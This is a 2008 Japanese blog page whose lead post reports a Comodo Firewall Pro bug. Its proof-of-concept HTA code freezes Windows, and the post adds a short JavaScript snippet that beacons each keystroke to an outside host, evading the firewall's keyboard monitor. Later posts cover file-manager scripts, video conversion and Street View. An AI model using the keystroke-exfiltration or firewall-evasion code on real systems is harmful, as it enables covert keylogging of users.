スポンサーサイト
投稿日時 : -------- --:--
上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
-------- --:-- | スポンサー広告
Comodo Firewall ProでOSをフリーズさせるJavascriptコード
投稿日時 : 2008-08-28 17:16
 フリー(無料)で高性能と噂のファイアウォールComodo Firewall Proを導入しようか検討していたんですが、自作のHTAアプリ起動したらOSを巻き込んでフリーズすることを発見。
 

■症状

 HTA内にJavascripのキーイベントハンドラー(onkeydownなど)やマウスイベントハンドラー(onclickなど)とXMLHTTPの2つのコードが含まれている場合に起こります。HTAを実行するとDEFENSE+の実行許可ダイアログが出て、通常なら「OK」ボタンか「Cancel」ボタンを選ぶわけですが、ボタンが押せません。Ctrl-Alt-Deleteもダメ。とにかく何もできなくなります。再現率も100%。これは明らかにバグなんじゃないでしょうか・・・
 

■環境

・1GHz/512MB
・XPProSP3
・Comodo Firewall Pro 3.2.25.378
 

■DEFENSE+の設定

「General Settings」タブ。ふつうにデフォルトのオプションでインストールしていじってません。
comodo setting 1
 
「Monitor Settings」タブ。今回のはここの「Object To Monitor Against Direct Access」の「Keyboard」に反応してるようです。
comodo setting 2
 

■実証コード

 問題のフリーズするコード。テキストエディタに貼り付けて「.hta」で保存して実行。もちろんOSがフリーズする実証コードなので自己責任でそれなりの環境で。
 
はじめは以下のような感じのコードに反応。
<html><body><script>
document.onkeydown = function(){alert(event.keyCode)}
var http = new ActiveXObject("Microsoft.XMLHTTP");
http.open("GET","http://www.yahoo.co.jp/",false);
http.send();
document.body.innerText = http.responseText;
</script></body></html>
 
どこに反応してるのか絞り込むためコードを適当に削ってみる。これでも反応。
<html><body><script>
document.onkeydown
var http = new ActiveXObject("Microsoft.XMLHTTP");
http.send();
</script></body></html>
 
で、最終的に以下のようなJavascriptとしてまったく動作しないコードにも反応。つまり実際の動作を見てるのではなく、単にキーワードに反応してるだけということが判明。
<html><script>
onkeydown Microsoft.XMLHTTP
</script></html>
フリーズ時のダイアログには以下のようなメッセージ。VMWareで走らせればスクリーンショットとれたんですが用意が面倒なのでテキストで。
Security Considerations
mshta.exe is an unsafe application and it is about to access the keyboard directly. Accessing the keyboard directly allows an application to read the pressed keys or simurate the key strokes. Many applications use this to provide keyboard shortcut functionality. However, malware can also use this functionality to log the key strokes.
 
イベントログには「Direct Keyboard Access」と記録されていました。
comodo event log
 

■My Own Safe Filesに登録してフリーズ回避・・・できない!?

 仕方ないので条件に一致しそうなコードを含むプログラムは手動でDEFENSE+の「My Own Safe Files」に追加してフリーズを回避することにしました。
 
フォルダ単位で追加。
comodo add safe files
 
追加されたリスト
comodo safe files
 
これでいけるハズ、と起動してみると・・・フリーズ!どうやら個別にhtaファイルを登録してもダメで、mshta.exe自体を登録する必要があるみたいです。htaの仕組み上仕方ないと言えば仕方ないかな・・・。
 

■DEFENS+を回避してキーコードを送信してみる

 フリーズするバグの話からはそれますが、思えばドメイン越えで入力されたキーコードを送信するなんて別にXMLHTTPを使わなくてもできるわけで、それを試してみた。
<html><script>
document.onkeydown = function(){
	(new Image()).src = 'http://www.yahoo.co.jp/?key=' + event.keyCode;
}
</script></html>
これはスルーされましたw。
 

[参考]
SSL Free Firewall Two Factor Authentication Products from Comodo
Comodo Firewall Pro @ まとめ - トップページ
 
スポンサーサイト
2008-08-28 17:16 | Windows | Comment(0) | Trackback(0)
[MDIEスクリプト] 選択ファイルの拡張子の解説を表示する『ExtSearch』
投稿日時 : 2008-08-25 19:52
 選択ファイルの拡張子をCCfA.infoで検索して解説を表示するMDIEスクリプト『ExtSearch』を作りました。
 
ExtSearch.js demo 1
 

■ExtSearch.js本体のダウンロード

ExtSearch.js 1.00本体のダウンロード 動作確認:WindowsXP Pro SP2 + MDIE Ver 0.3.0.0 RC6(2008-01-06版)
 

■使い方

 まずダウンロードしてMDIEにスクリプトを登録して下さい。好みでキーボードショートカットを割り当ててもいいかもしれません。次に調べたい拡張子のファイルを1つ選択した状態でスクリプトを実行します。するとそのファイルの拡張子の解説データをCCfA.infoから取ってきてポップアップ表示します。複数ファイルを選択している場合は先頭のファイルのみが対象になります。その他MDIEスクリプトの詳しい実行方法などはMDIEのヘルプを参照して下さい。
 

■突然動かなくなるかも

 CCfA.infoのHTMLを解析してデータを抜き出しているため、サイト構造が変わるとたぶん動作しなくなります。定期的に動作確認して問題があれば更新していくつもりですが・・・。
 
 
他にもいくつかMDIEスクリプトを公開しています。
カテゴリ:MDIE Script
 
 
[参考]
拡張子辞典・解説 - CCfA.info (Japanese File Extension List)
 
2008-08-25 19:52 | MDIE Script | Comment(2) | Trackback(0)
[MDIEスクリプト] JPEGを回転処理する『JPEGRotator』
投稿日時 : 2008-08-25 19:51
 JPEGRotator.js 1.01公開(2008/08/25 19:51)。
 
 MDIEではエクスプローラのように右クリックから画像ファイルの回転処理ができず、ちょっと不便だった。これをMDIEスクリプトでなんとかできないものかと調べていたら以下のようなプログラムを発見。
 
窓の杜 - 【今日のお気に入り】「JPEGファイル回転プログラムコマンドライン版 azure_cui」
windmaker webpage
 
これを利用してさっそくMDIEスクリプトを作ってみたので『JPEGRotator』として公開します。azure_cuiのフロントエンドとして動作します。対応している画像形式はJPEGのみですが、劣化なしに回転処理できるところがなかなか素晴らしい。
 
JPEGRotator DEMO 1
 

■JPEGRotator.js本体のダウンロード

 デフォルト設定が違う3つのバージョンをアップしておきます。後述のようにテキストエディタで編集すればデフォルトの動作を変更できますが、若干面倒と思われるので編集済みバージョンを置いておくことにしました(2008/08/25)。
 
JPEGRotator 1.01本体のダウンロード
・ダイアログ表示バージョン
jpegrotator_dialogue.js
 
・90°右回転固定バージョン
jpegrotator_right.js
 
・90°左回転固定バージョン
jpegrotator_left.js
動作確認:WindowsXP Pro SP2 + MDIE Ver 0.3.0.0 RC6(2008-01-06版)
 

■動作にはazure_cui.exeが必要

 画像の回転処理にazure_cui.exeを使用しています。以下からダウンロードできます。
azure_cui(Windows95/98/Me / 画像&サウンド)
 
ダウンロードしたら解凍し、auzre_cui.exeを
<MDIEインストールフォルダ>\script\azure_cui.exe
に移動させて下さい。上記パス以外に配置した場合はJPEGRotator本体をテキストエディタで開いてそのパスを記述する必要があります。本体ソース内に詳細なヘルプを書いておいたのでそれを参考に編集して下さい。
 

■操作方法

 MDIEスクリプトとして登録してください。あとはMDIE上でJPEGファイルを選択(複数ファイル可)後スクリプトを実行するだけです。JPEGRotator_dialogue.jsの場合は以下のようなダイアログが表示されます。右/左回転固定バージョンの場合はダイアログは非表示に設定されています。
JPEGRotator DEMO 2

0 実行
1 ○ 右回りに90°回転
2 × 左回りに90°回転
3 × 180°回転
4 ○ 作成日時を保持
5 ○ 更新日時を保持
6 ○ サムネイルの回転
7 ○ トリミングを許可
8 コピーしてテスト実行
9 終了(Esc)
有効になっているオプションには「○」、無効になっているオプションには「×」がついています。各行の先頭の番号を入力して「OK」ボタンまたは「Enter」キーを押すとそのオプションの有効無効を切り替えることができます。
準備ができたら「0 」を入力して回転処理を実行します。各オプションの詳細はazure_cuiに付属のreadme.txtなどを参照して下さい。
 

■画像サイズがMCU単位でない場合の注意点

 基本的に、回転処理を加えたファイルはオリジナルファイルに上書き処理されるので注意が必要です。デジカメなどの専用機器で撮影された画像ファイルの場合は画像サイズがMCU単位サイズ(画像のサイズが縦横とも8ドットか、画像によっては16ドットの倍数)になっているため特に問題が起こることはありません。しかしMCU単位サイズでない画像の場合は、オプションで「トリミングを許可」していないと画像の端にブロックノイズが出ることがあるようです。このあたりの詳細はazure_cuiのreadme.txtなどを参考にして下さい。デフォルト設定は「トリミングを許可」になっているのでノイズが入ることはありませんが、MCU単位サイズでない場合は画像サイズが変化するので注意して下さい。
 
573x289のMCU単位サイズでない画像 - オリジナル
trim test 1 - original
 
トリミングを許可せず90°回転 - ブロックノイズが出てる
trim test 2 - no trim
 
トリミングを許可して90°回転 - 画像サイズが288x573にトリミングされている
trim test 3 - trim
 

■コピーしてテスト実行

 あらゆる作業全般に言えることですが、復元が不可能なオリジナルファイルはバックアップをとっておいて下さい。一応ダイアログに「コピーしてテスト実行」という実行モードを加えておきました。テスト実行の場合はオリジナルファイルには上書きせず、ファイル名の末尾に「_TEST_.JPG」という文字列を付加したファイルに処理後のデータを書き出します。
 

■デフォルト設定の変更

 デフォルトのオプションはソース内の「デフォルトオプションの設定」セクションで定義されています。デフォルトの回転方向や、ダイアログの表示/非表示などの設定もできます。ソース内のヘルプを参考に設定を変更して下さい。
 

■それぞれキーボードショートカット登録すると便利

90°右回転固定バージョン → 「Ctrl+Alt+R」
90°左回転固定バージョン →  「Ctrl+Alt+L」
みたいにキーボードショートカットに登録しておくと作業が効率化できると思います。
 
 
他にもいくつかMDIEスクリプトを公開しています。
カテゴリ:MDIE Script
 
 
2008-08-25 19:51 | MDIE Script | Comment(0) | Trackback(0)
バランスWiiボードでGoogleストリートビューを操作する動画
投稿日時 : 2008-08-22 06:47
 バランスWiiボードの上で歩くことでGoogleストリートビューを操作することができるシステムをblog.katsuma.tvの人が作ったようです。
 
バランスWiiボードでGoogleストリートビューを操作するJSONP API - blog.katsuma.tv
 

Google Street View by Wii Balance Board from katsuma on Vimeo.
 
システムの構成は下のような感じ。
blog.katsuma.tv
  1. バランスWiiボード
  2. Bluetoothレシーバ(iMac)
  3. 信号解析モジュール(Java)
  4. ローカルWebサーバ(Jetty)
  5. Javascript(JSONP)
  6. Webブラウザ(出力)
 詳しくは理解していませんが、おおまかな処理の流れは次のような感じらしい。まずバランスWiiボードのBluetooth信号をRVL EnablerBlueCoveWIiRemoteJを組み合わせてMac本体のレシーバで受信して解析、そのデータをwebサーバ(Jetty)上に置いて、ブラウザからJSONPでそれを取得、解析してGoogle Map APIを叩く。正直これはすごい。
 
 この手の連携アイディアはまだまだ発展の余地がある素晴らしいものだと思います。例えばランニングマシンとストリートビューの組み合わせとかどうでしょう?実際に走った距離に合わせて画面が切り替わるわけです。世界中の街をランニングできてしまいます。方向転換はボタン押すとか曲がりたい方向の手を上げるとかそういうので。誰か作ってーw
 
 
2008-08-22 06:47 | IT | Comment(0) | Trackback(0)
まるで本物の女性のようなCGアニメーション「Emily」
投稿日時 : 2008-08-21 03:55
 Image Metricsというチームが作成したCGアニメーションに登場する女性Emilyがあまりにリアルすぎる。
 
まるで本物の女性のようなCGアニメーション「Emily」 - GIGAZINE
 
 フェイシャルアニメーション技術を開発しているチームのようなのでCGは顔部分のみのようですが、たぶん言われなければ気づかないレベルです。今までのCGは確かにかなりリアルではあるけど、必ず目の表情、口の開き方、眉の動かし方などのどこかに違和感があり、すぐにCGだと気づいてしまいます。そしてその中途半端なリアルさが不気味の谷現象を引き起こしているように思われます。しかしこのEmilyはその谷を越えてしまっている感がある。
 
YouTube - Image Metrics Emily CG Facial Animation is Too Real

 
 この技術はメタルギアソリッド4グランド・セフト・オートIVなどのゲームでも既に利用されているらしいです。
 
 この技術がさらに画期的なのは顔データの取り込みに専用の機器が必要ではなく、普通のビデオカメラで撮影した映像からデータを構成することができることです。Image Metricsの公式ページでは本物の人間の顔の映像とそれを元に作成されたCGを見比べることができます。
 
 
2008-08-21 03:55 | Thecnology | Comment(0) | Trackback(0)
Youtube動画(FLV)を携帯動画(3GP)に変換するメモ
投稿日時 : 2008-08-20 05:09
 お盆で実家に帰ると、つい最近まで白黒液晶の化石のようなPHSを使っていた母親が機種変したSoftBank 812SHで音楽を聴きたいというので作業。ついでにやった動画変換で少しトラブルがあったのでメモ。作業はXPProSP3/1.0Ghz/768MBの環境で。
 
 812SHの音楽ファイルの対応形式はAAC(m4a)。説明書によるとAACファイルの作成にはiTunesとか使えということだったが、iTunesは変なサービスがいっぱい登録されたりして嫌いなので、保存しておいたシェアウェア化する前のdBpoweramp Music Converterでさくっとmp3/wav→m4a変換。2GBのmicroSD内の所定位置「PRIVATE/MYFOLDER/My Items/Music」にコピーして812SHのメディアプレーヤで再生を確認。日本語ファイルもちゃんと認識(いまどき当たり前?)。
 
 動画も簡単にいけそうだったのでCraving ExplorerでYoutubeからFLV形式で動画をダウンロード。3gp形式への変換に使う携帯動画変換君をダウンロードして解凍。さらに携帯動画変換君の動作に必要なQuickTimeのフリー版をインストール。携帯動画変換君の「setup.exe」を起動(これは初回のみでOK)して「3GPPFile,音声AAC形式一般設定」を選択して「設定」ボタンを押すと携帯動画変換君の本体「3GP_Converter.exe」が起動。「QVGA高画質15fpsステレオ」を選択してFLVファイルをD&Dすると変換開始。問題なく終わりそうなところで「QT3GPPFlatten.exe」にエラー発生。
 調べるとQuickTime7.2より後のバージョンに含まれる「QT3GPPFlatten.exe」は外部プログラムからのアクセスが制限されていて、携帯動画変換君から必要な機能が利用できなくなったとのこと。そういうことなら仕方ないのでインストールしてしまった最新版のQuickTimeは削除。QuickTime 7.2をダウンロードしてインストール。
 同じ手順でもう一度変換開始。今度は問題なくFLV→3gpの変換完了。とりあえずGOM PLAYERでPC上での再生確認。microSDの所定位置「PRIVATE/MYFOLDER/My Items/Video」に保存。812SH本体で再生確認。日本語ファイル名も問題なし。
 
 
2008-08-20 05:09 | Windows | Comment(0) | Trackback(0)
[MDIEスクリプト] MD5ハッシュ値を比較する『comphash』
投稿日時 : 2008-08-13 18:50
 2ファイルのMD5 ハッシュ値を簡単に比較できるMDIEスクリプト、『comphash』を作ったので公開します。
 
e00132_comphash_demo1.jpg
 
 MDIEのスクリプトに登録後、MDIE上でMD5ハッシュを求めたいファイルを選択して実行するだけです。動作にはMd5Com.dllが必要です(後述)。MDIEへの登録方法や実行方法はMDIEのヘルプなどを参照して下さい。
 

■comphashのダウンロード

comphash 1.00本体のダウンロード 動作確認:WindowsXP Pro SP2 + MDIE Ver 0.3.0.0 RC6(2008-01-06版)
 

■動作にはMd5Com.dllが必要

 MD5ハッシュ値の取得にはMd5Com.dllを使用しています。以下からダウンロードしてインストールしてください。
AspMD5(Windows95/98/Me / プログラミング)
 
 Md5Com.dllのインストールは「ファイル名を指定して実行」から可能ですが、コマンドが苦手な人はregsvr32のGUI版、GuiRegsvrを使用すると簡単かもしれません。
GuiRegsvr(Windows95/98/Me / プログラミング)
 

■Md5Com.dllのインストール手順

 「ファイル名を指定して実行」でコマンドによるMd5Com.dllのインストール手順を紹介しておきます。コマンドが苦手な人は上記のGuiRegsvrを使うと簡単にインストール・アンインストールできると思います。
 
「ファイル名を指定して実行」で
%windir%\system32
を実行して開いたフォルダにMd5Com.dllをコピー後、
regsvr32 %windir%\system32\Md5Com.dll
を実行します。
install md5com.dll
 
以下のように「~Md5Com.dll の DllRegisterServer は成功しました。」と表示されればインストール完了です。
Md5Com.dll install complete
 

■Md5Com.dllのアンインストール手順

「ファイル名を指定して実行」で
regsvr32 /u %windir%\system32\Md5Com.dll
を実行します。あとはMd5Com.dllを削除すれば完了。もし削除するときにエラーが出る場合はWindowsの再起動後にもう一度削除を試みて下さい。
 

■使い方

 基本的な使い方はMDIEのスクリプトとして登録して、MDIE上で1つ、もしくは2つのファイルを選択後スクリプトを実行するだけです。実行後、ファイル情報とMD5ハッシュ値が表示されます。その下部には以下のようなアクションの一覧が表示されます。
0 終了(Esc)
1 File1と次のファイルを比較
2 File2と次のファイルを比較
3 File1のハッシュをコピー
4 File2のハッシュをコピー
5 File1のパスとハッシュをコピー
6 File2のパスとハッシュをコピー
7 両ファイルのパスとハッシュをコピー
8 全情報をコピー
9 クリップボードをクリアして終了
各行の先頭の番号を入力して「OK」ボタンを押すとそのアクションが実行されます。
 
 2ファイルを選択して実行した場合はその2ファイルのMD5ハッシュ値を比較します。1つのファイルを選択して実行した場合、「1 File1と次のファイルを比較」アクションを実行した後なら、自動的に比較が行われます。比較用のデータはクリップボードに保存されています。
 

■動作設定の変更

 ソース中の以下の箇所の値を変更することで動作を多少変更することができます。
////////////////
//設定変更開始//
////////////////

//処理確認ダイアログを表示するファイルサイズ(MB)の閾値(デフォルト:100)
var COMFIRMSIZE = 100;

//結果をフルパスで表示(1:フルパス/0:ファイル名のみ/デフォルト:1)
var FULLPATH = 1;

////////////////
//設定変更終了//
////////////////
COMFIRMSIZE : 処理対象のファイルが数百MBあったりすると処理に長い時間がかかって、その間MDIEが応答しなくなります。これを避けるためある一定以上のサイズのファイルの場合、処理を実行するか事前に確認できます。その確認ダイアログを表示するサイズをMBで設定します。
 
FULLPATH : 実行結果に表示するファイル名をフルパスにするか、ファイル名のみするかを設定できます。1でフルパス、0でファイル名のみになります。
 
 
他にもいくつかMDIEスクリプトを公開しています。
カテゴリ:MDIE Script
 
 
2008-08-13 18:50 | MDIE Script | Comment(0) | Trackback(0)
全身ローラースーツで疾走するムービー
投稿日時 : 2008-08-12 08:57
 全身タイツ?にたくさんのローラがついたローラースーツを着て時速100Km越えのすさまじいスピードで道路を疾走するムービーです。見た目はかなり恥ずかしい感じになってますが、一歩間違えば即死な雰囲気の命をかけた危険なスポーツ?のようです。以前紹介したムササビスーツよりかはインパクトは劣りますが、なかなかスリリングな動画。
 
全身ローラースーツで疾走するムービー - GIGAZINE
 
 
 
街中を走ったりしてます。これは色々な意味で勇気のいる行為。
YouTube - Jean-Yves Blondeau aka Rollerman - Extreme
 
 
2008-08-12 08:57 | Entertainment | Comment(0) | Trackback(0)
Googleマップのストリートビュー機能が日本でも開始
投稿日時 : 2008-08-06 14:01
 Google マップでニューヨークなど海外の一部の都市のマップでのみ提供されていた、ストリートビュー機能が日本でも開始されました。
 
とりあえずデモ。実際にマウスでぐりぐり動かせます。もうなんていうかすごすぎます。圧倒的です。アイディアとしては誰かが思いつきそうなものですが実際に実現してしまうところがGoogleのすごさですね。ちょっと仕組みを考えてみただけでも鼻血が出そうな大変さ。
 
ヨドバシカメラ新宿西口本店

大きな地図で見る  
 
東京タワー

大きな地図で見る
 
GIGAZINEで観光地巡りやってました。
道路から撮影した視点の現場写真を見渡す「Google マップ ストリートビュー」で日本の名所を観光してみた - GIGAZINE
 
 Googleの撮影車の目撃情報が少し前からちらほらありましたが、その時期からすると意外に早くサービスが開始されたという印象。対応地域はまだ東京や大阪など一部の都市部のみですが、順次拡大していくでしょう。おそらく現在Googleマップで高解像度で表示できる地域が優先して撮影されているように思われます。神戸のはずれの山の奥の方にある実家もなぜか昔から高解像度で撮影されていたんですが、今日確認したところストリートビューが使えるようになっていました。
 
 あと、街中ではやはり人がたくさん写ってしまうわけですが、自動的に人の顔を認識してボカシ処理が施されるらしいです。海外ではプライバシーの侵害だとして訴訟にまで発展していることもあってか、不適切画像の報告機能を付けるなどでGoogle側も誠意ある対応をアピールしています。
 
まあなんにしてもGoogleすごすぎ。
 
2008-08-06 14:01 | IT | Comment(0) | Trackback(0)
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。